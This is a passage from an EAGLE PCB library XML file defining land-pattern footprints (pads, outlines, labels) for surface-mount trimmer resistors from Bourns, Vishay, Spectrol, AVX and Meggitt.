name=\"2\" x=\"0\" y=\"2.75\" dx=\"2\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-2.875\" y=\"-2.54\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.045\" y=\"-2.54\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.3\" y1=\"-0.2\" x2=\"1.35\" y2=\"0.2\" layer=\"21\"/>\n<rectangle x1=\"-0.2\" y1=\"-1.35\" x2=\"0.2\" y2=\"1.3\" layer=\"21\"/>\n</package>\n<package name=\"RTRIMCVR42A\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; AVX</description>\n<wire x1=\"-1.9\" y1=\"1.9\" x2=\"-1.9\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.9\" y1=\"-1.9\" x2=\"1.9\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"-1.9\" x2=\"1.9\" y2=\"1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"1.9\" x2=\"-1.9\" y2=\"1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.6\" y1=\"-1.1\" x2=\"0.6\" y2=\"-1.1\" width=\"0.8128\" layer=\"51\" curve=\"-302.779081\" cap=\"flat\"/>\n<wire x1=\"-1.9\" y1=\"-1.15\" x2=\"-1.9\" y2=\"1.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.9\" y1=\"1.9\" x2=\"-1.35\" y2=\"1.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.9\" y1=\"-1.15\" x2=\"1.9\" y2=\"1.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.9\" y1=\"1.9\" x2=\"1.35\" y2=\"1.9\" width=\"0.254\" layer=\"21\"/>\n<smd name=\"2\" x=\"0\" y=\"1.8\" dx=\"2.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"-2.05\" dx=\"1.3\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.15\" y=\"-2.05\" dx=\"1.3\" dy=\"1.4\" layer=\"1\"/>\n<text x=\"-2.29\" y=\"-2.69\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.51\" y=\"-2.69\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.65\" y1=\"-1.15\" x2=\"0.65\" y2=\"-0.75\" layer=\"51\"/>\n<rectangle x1=\"-1.05\" y1=\"-0.15\" x2=\"1.05\" y2=\"0.15\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM3214W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nSMD Cermet trimmer</description>\n<wire x1=\"-2.3\" y1=\"-1.85\" x2=\"-2.3\" y2=\"1.85\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.3\" y1=\"1.85\" x2=\"2.3\" y2=\"1.85\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.3\" y1=\"1.85\" x2=\"2.3\" y2=\"-1.85\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.3\" y1=\"-1.85\" x2=\"-2.3\" y2=\"-1.85\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.3\" y1=\"-1.85\" x2=\"-2.3\" y2=\"1.85\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"1.85\" x2=\"-1.3\" y2=\"1.85\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"-1.85\" x2=\"2.3\" y2=\"1.85\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"1.85\" x2=\"1.3\" y2=\"1.85\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.4\" y1=\"-1.85\" x2=\"0.4\" y2=\"-1.85\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.2\" y=\"0.65\" radius=\"0.7\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.275\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.275\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"1.45\" dx=\"2\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"-1.905\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.81\" y=\"-1.905\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"0.55\" y1=\"0.55\" x2=\"1.85\" y2=\"0.75\" layer=\"51\"/>\n<rectangle x1=\"-1.8\" y1=\"-2.1\" x2=\"-0.75\" y2=\"-1.95\" layer=\"51\"/>\n<rectangle x1=\"0.75\" y1=\"-2.1\" x2=\"1.8\" y2=\"-1.95\" layer=\"51\"/>\n<rectangle x1=\"-0.75\" y1=\"1.95\" x2=\"0.75\" y2=\"2.1\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3224G\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nSide Adjust</description>\n<wire x1=\"2.25\" y1=\"2.15\" x2=\"2.25\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-2.15\" x2=\"-2.25\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-2.15\" x2=\"-2.25\" y2=\"2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"2.15\" x2=\"2.25\" y2=\"2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.5\" y1=\"2.05\" x2=\"-0.5\" y2=\"1.35\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.5\" y1=\"1.35\" x2=\"-1.9\" y2=\"1.35\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.9\" y1=\"1.35\" x2=\"-1.9\" y2=\"2.05\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.2\" y1=\"2.15\" x2=\"-2.25\" y2=\"2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"2.15\" x2=\"-2.25\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"-2.15\" x2=\"-2\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-2.15\" x2=\"0.3\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.2\" y1=\"2.15\" x2=\"2.25\" y2=\"2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"2.15\" x2=\"2.25\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-2.15\" x2=\"2\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-1.2\" y=\"1.7\" radius=\"0.2\" width=\"0\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"-2.6\" dx=\"1.27\" dy=\"1.27\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.15\" y=\"-2.6\" dx=\"1.27\" dy=\"1.27\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2.6\" dx=\"2\" dy=\"1.27\" layer=\"1\"/>\n<text x=\"-2.49\" y=\"-3.205\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.81\" y=\"-3.205\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.65\" y1=\"2.25\" x2=\"0.65\" y2=\"3\" layer=\"51\"/>\n<rectangle x1=\"-1.6\" y1=\"-3\" x2=\"-0.7\" y2=\"-2.25\" layer=\"51\"/>\n<rectangle x1=\"0.7\" y1=\"-3\" x2=\"1.6\" y2=\"-2.25\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3224J\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nSide Adjust</description>\n<wire x1=\"2.4\" y1=\"2.3\" x2=\"2.4\" y2=\"-2.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.4\" y1=\"-2.3\" x2=\"-2.4\" y2=\"-2.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.4\" y1=\"-2.3\" x2=\"-2.4\" y2=\"2.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.4\" y1=\"2.3\" x2=\"2.4\" y2=\"2.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.5\" y1=\"2.2\" x2=\"-0.5\" y2=\"1.6\" width=\"0.1016\" layer=\"51\" style=\"shortdash\"/>\n<wire x1=\"-0.5\" y1=\"1.6\" x2=\"-1.9\" y2=\"1.6\" width=\"0.1016\" layer=\"51\" style=\"shortdash\"/>\n<wire x1=\"-1.9\" y1=\"1.6\" x2=\"-1.9\" y2=\"2.2\" width=\"0.1016\" layer=\"51\" style=\"shortdash\"/>\n<wire x1=\"1.4\" y1=\"2.3\" x2=\"2.4\" y2=\"2.3\" width=\"0.254\" layer=\"21\" style=\"shortdash\"/>\n<wire x1=\"2.4\" y1=\"2.3\" x2=\"2.4\" y2=\"-2.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.4\" y1=\"-2.3\" x2=\"2.2\" y2=\"-2.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.1\" y1=\"-2.3\" x2=\"-2.4\" y2=\"-2.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"-2.3\" x2=\"-2.4\" y2=\"2.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"2.3\" x2=\"-1.4\" y2=\"2.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.2\" y1=\"-2.3\" x2=\"-0.2\" y2=\"-2.3\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-1.2\" y=\"1.9\" radius=\"0.1414\" width=\"0\" layer=\"21\"/>\n<smd name=\"3\" x=\"1.15\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2\" dx=\"2\" dy=\"2\" layer=\"1\"/>\n<text x=\"2.74\" y=\"2.405\" size=\"1.27\" layer=\"25\" rot=\"R270\">&gt;NAME</text>\n<text x=\"-4.01\" y=\"2.405\" size=\"1.27\" layer=\"27\" rot=\"R270\">&gt;VALUE</text>\n<rectangle x1=\"-0.6\" y1=\"2.4\" x2=\"0.6\" y2=\"2.5\" layer=\"51\"/>\n<rectangle x1=\"0.7\" y1=\"-2.5\" x2=\"1.6\" y2=\"-2.4\" layer=\"51\"/>\n<rectangle x1=\"-1.6\" y1=\"-2.5\" x2=\"-0.7\" y2=\"-2.4\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3224X\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nTop Adjust</description>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-1.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.25\" y1=\"1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.4\" y1=\"-1.6\" x2=\"0.4\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.2\" y=\"0.6\" radius=\"0.5\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.27\" y=\"-2.54\" dx=\"1.32\" dy=\"1.9\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.27\" y=\"-2.54\" dx=\"1.32\" dy=\"1.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2.54\" dx=\"2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-2.64\" y=\"-3.455\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-3.455\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.7\" y1=\"-2.85\" x2=\"-0.9\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"0.9\" y1=\"-2.85\" x2=\"1.7\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"-0.65\" y1=\"1.7\" x2=\"0.65\" y2=\"2.85\" layer=\"51\"/>\n<rectangle x1=\"0.75\" y1=\"0.5\" x2=\"1.65\" y2=\"0.7\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM3103\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; MEGGIT</description>\n<wire x1=\"-1.45\" y1=\"1.75\" x2=\"-1.45\" y2=\"-1.65\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.45\" y1=\"-1.65\" x2=\"1.45\" y2=\"-1.65\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.45\" y1=\"-1.65\" x2=\"1.45\" y2=\"1.75\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.45\" y1=\"1.75\" x2=\"-1.45\" y2=\"1.75\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.45\" y1=\"-0.4\" x2=\"-1.45\" y2=\"1.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.45\" y1=\"1.75\" x2=\"-0.85\" y2=\"1.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.45\" y1=\"-0.4\" x2=\"1.45\" y2=\"1.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.45\" y1=\"1.75\" x2=\"0.85\" y2=\"1.75\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.15\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"2\" x=\"0\" y=\"1.3\" dx=\"1.3\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1\" y=\"-1.225\" dx=\"1.2\" dy=\"1.25\" layer=\"1\"/>\n<smd name=\"3\" x=\"1\" y=\"-1.225\" dx=\"1.2\" dy=\"1.25\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"-1.905\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.175\" y=\"-1.905\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.15\" y1=\"-0.15\" x2=\"1.15\" y2=\"0.15\" layer=\"51\"/>\n<rectangle x1=\"-0.15\" y1=\"-1.15\" x2=\"0.15\" y2=\"1.15\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM5W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nabgedichtet nach &lt;b&gt;IP67&lt;/b&gt;</description>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.25\" y1=\"1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-1.6\" x2=\"0.3\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.55\" y=\"0.95\" radius=\"0.4\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"1.45\" dx=\"2\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-2.625\" y=\"-2.19\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.845\" y=\"-2.19\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"1.15\" y1=\"0.85\" x2=\"1.95\" y2=\"1.05\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM5X\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nabgedichtet nach &lt;b&gt;IP67&lt;/b&gt;</description>\n<wire x1=\"2.35\" y1=\"2.35\" x2=\"-2.35\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.35\" y1=\"2.35\" x2=\"-2.35\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.35\" y1=\"-2.35\" x2=\"2.35\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.35\" y1=\"-2.35\" x2=\"2.35\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.25\" y1=\"2.35\" x2=\"2.35\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.35\" y1=\"2.35\" x2=\"2.35\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.35\" y1=\"-2.35\" x2=\"2.05\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.05\" y1=\"-2.35\" x2=\"-2.35\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"-2.35\" x2=\"-2.35\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"2.35\" x2=\"-1.25\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.25\" y1=\"-2.35\" x2=\"-0.25\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"2.25\" x2=\"-1.1\" y2=\"1.6\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"1.6\" x2=\"-2.05\" y2=\"1.6\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.05\" y1=\"1.6\" x2=\"-2.05\" y2=\"2.25\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.15\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2\" dx=\"2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-3.175\" y=\"-2.54\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.445\" y=\"-2.54\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIMTSM53YJ\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nabgedichtet nach &lt;b&gt;IP67&lt;/b&gt;</description>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-1.15\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"1.15\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.4\" y1=\"-1.6\" x2=\"0.4\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.3\" y=\"0.65\" radius=\"0.7\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"0\" y=\"1.45\" dx=\"1.8\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"-1.905\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.81\" y=\"-1.905\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.3\" y1=\"1.7\" x2=\"0.3\" y2=\"1.9\" layer=\"51\"/>\n<rectangle x1=\"-1.6\" y1=\"-1.9\" x2=\"-1\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"0.95\" y1=\"-1.9\" x2=\"1.55\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"1.2\" y1=\"0\" x2=\"1.4\" y2=\"1.3\" layer=\"21\"/>\n</package>\n<package name=\"RTRIMTSM53YL\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nabgedichtet nach &lt;b&gt;IP67&lt;/b&gt;</description>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.25\" y1=\"-1.6\" x2=\"-2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"1.6\" x2=\"-1.15\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"1.6\" x2=\"1.15\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.35\" y1=\"-1.6\" x2=\"0.35\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.3\" y=\"0.65\" radius=\"0.7\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-1.9\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.25\" y=\"-1.9\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"1.9\" dx=\"1.8\" dy=\"2\" layer=\"1\"/>\n<text x=\"-2.59\" y=\"-2.555\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.86\" y=\"-2.555\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"1.2\" y1=\"0\" x2=\"1.4\" y2=\"1.3\" layer=\"21\"/>\n<rectangle x1=\"-0.3\" y1=\"1.7\" x2=\"0.3\" y2=\"2.55\" layer=\"51\"/>\n<rectangle x1=\"-1.55\" y1=\"-2.55\" x2=\"-0.95\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"0.95\" y1=\"-2.55\" x2=\"1.55\" y2=\"-1.7\" layer=\"51\"/>\n</package>\n<package name=\"RTRIMTS63X\">\n<description>&lt;b&gt;Trimm resistror&lt;/b&gt; VISHAY&lt;p&gt;\nseales container, solder immerson IP67</description>\n<wire x1=\"3.3\" y1=\"2.4\" x2=\"-3.3\" y2=\"2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-3.3\" y1=\"2.4\" x2=\"-3.3\" y2=\"-2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-3.3\" y1=\"-2.4\" x2=\"3.3\" y2=\"-2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.3\" y1=\"-2.4\" x2=\"3.3\" y2=\"2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.8\" y1=\"2.4\" x2=\"3.3\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.3\" y1=\"2.4\" x2=\"3.3\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.8\" y1=\"2.4\" x2=\"-3.3\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"2.4\" x2=\"-3.3\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-2.4\" x2=\"1.75\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.3\" y1=\"2.25\" x2=\"3.4\" y2=\"2.25\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4.3\" y1=\"0.85\" x2=\"4.3\" y2=\"1.35\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4.3\" y1=\"1.35\" x2=\"4\" y2=\"1.35\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"1.35\" x2=\"4\" y2=\"1.75\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"1.75\" x2=\"4.3\" y2=\"1.75\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4.3\" y1=\"1.75\" x2=\"4.3\" y2=\"2.25\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"4.3\" y1=\"0.85\" x2=\"3.4\" y2=\"0.85\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.55\" y=\"-2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.55\" y=\"-2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<text x=\"-3.69\" y=\"-3.34\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"6.06\" y=\"-3.34\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.25\" y1=\"2.5\" x2=\"0.25\" y2=\"3.35\" layer=\"51\"/>\n<rectangle x1=\"2.3\" y1=\"-3.35\" x2=\"2.8\" y2=\"-2.5\" layer=\"51\"/>\n<rectangle x1=\"-2.8\" y1=\"-3.35\" x2=\"-2.3\" y2=\"-2.5\" layer=\"51\"/>\n</package>\n<package name=\"RTRIMTS63Y\">\n<description>&lt;b&gt;Trimm resistror&lt;/b&gt; VISHAY&lt;p&gt;\nseales container, solder immerson IP67</description>\n<wire x1=\"3.3\" y1=\"2.35\" x2=\"-3.3\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-3.3\" y1=\"2.35\" x2=\"-3.3\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-3.3\" y1=\"-2.35\" x2=\"3.3\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.3\" y1=\"-2.35\" x2=\"3.3\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.75\" 